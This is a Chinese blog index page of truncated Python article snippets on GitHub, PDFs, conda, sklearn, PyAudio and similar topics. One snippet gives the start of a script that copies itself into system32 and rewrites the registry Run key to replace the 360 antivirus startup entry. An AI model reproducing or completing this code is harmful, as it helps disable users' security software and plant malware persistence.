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学习GitHub

学习GitHub:GitHub教程:http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000知乎-怎样使用GitHub:http://www.zhihu.com/question/20070065如何高效利用GitHub:http://www.yangzhiping.com/tech/github.html#q1学习GitHub

系统 2019-08-12 09:26:43 2253

Python

python如何将多个PDF进行合并

背景由于工作性质,经常面对不同的问题,某些场景下SQL+Excel、常用办公软件不能处理,这时到网上找一些案例,自己动手用python处理。后续,借此博客记录比较典型的处理过程。后续,陆续实际处理的问题,如1.合并PDF2.拆分PDF3.敏感字段MD5脱敏4.从非架构化的大文本文件中提取指定条件的记录需求工作和生活中有时会遇到将多个pdf文件,合并成一个大文件的情况。例如,扫描时,普通扫描仪或打印机一页生成一个PDF,而一份资料实际多页。Adobe的收费版

系统 2019-09-27 17:57:30 2252

Python

Python使用字典实现的简单记事本功能示例

本文实例讲述了Python使用字典实现的简单记事本功能。分享给大家供大家参考,具体如下:fromtimeimportsleep,strftimeuser="Cytus"calendar={}defwelcome():print"Welcometousethiscalendar.%s"%userprint"Calendarisopening."sleep(1)printstrftime("%A%B%d%Y")printstrftime("%H:%M:%S")

系统 2019-09-27 17:56:03 2252

Python

如何安装并使用conda指令管理python环境

一、动机最近打算折腾vn.py,但只有py27版本的,因为一向习惯使用最新稳定版的,所以不得不装py27的环境,不得不说Python的全局锁真的很烦。身为懒癌患者,必然使用全功能的anaconda,但不想同时装py27和py35两个版本的anaconda巨无霸(同时装两个,不知道conda是否也可以管理环境),于是选择用conda装python27的环境及一些必要的包。弄了几天终于把办公电脑和家里的Mac机上的环境都配好了,即使有了官方的安装教材,也踩了不

系统 2019-09-27 17:55:36 2252

Python

python修改注册表终止360进程实例

本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。具体实现代码如下:import_winregimportosimportshutil#复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)#把360启动改为自身run=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVers

系统 2019-09-27 17:55:20 2252

Python

深入理解python对象及属性

类属性和实例属性首先来看看类属性和类实例的属性在python中如何存储,通过__dir__方法来查看对象的属性>>>classTest(object):pass>>>test=Test()#查看类属性>>>dir(Test)['__class__','__delattr__','__dict__','__doc__','__format__','__getattribute__','__hash__','__init__','__module__','__

系统 2019-09-27 17:54:39 2252

Python

python获取文件后缀名及批量更新目录下文件后缀名的方法

本文实例讲述了python获取文件后缀名及批量更新目录下文件后缀名的方法。分享给大家供大家参考。具体实现方法如下:1.获取文件后缀名:复制代码代码如下:#!/usr/bin/pythonimportosdict={}ford,fd,flinos.walk('/home/ahda/Program/'):forfinfl:sufix=os.path.splitext(f)[1][1:]ifdict.has_key(sufix):dict[sufix]+=1el

系统 2019-09-27 17:54:31 2252

Python

Python+sklearn机器学习应该了解的33个基本概念

机器学习(MachineLearning)根据已知数据来不断学习和积累经验,然后总结出规律并尝试预测未知数据的属性,是一门综合性非常强的多领域交叉学科,涉及线性代数、概率论、逼近论、凸分析、算法复杂度理论等多门学科。目前机器学习已经有了十分广泛的应用,例如数据挖掘、计算机视觉、自然语言处理、生物特征识别、搜索引擎、医学诊断、检测信用卡欺诈、证券市场分析、DNA序列测序、语音和手写识别、战略游戏和机器人运用。总体上说,机器学习算法和问题可以分为有监督学习和无

系统 2019-09-27 17:53:49 2252

Python

Python音频操作工具PyAudio上手教程!

0.引子当需要使用Python处理音频数据时,使用python读取与播放声音必不可少,下面介绍一个好用的处理音频PyAudio工具包。PyAudio是Python开源工具包,由名思义,是提供对语音操作的工具包。提供录音播放处理等功能,可以视作语音领域的OpenCv。1.简介Python学习交流群:1004391443PyAudio为跨平台音频I/O库PortAudio提供Python绑定。使用PyAudio,您可以轻松地使用Python在各种平台上播放和录

系统 2019-09-27 17:53:38 2252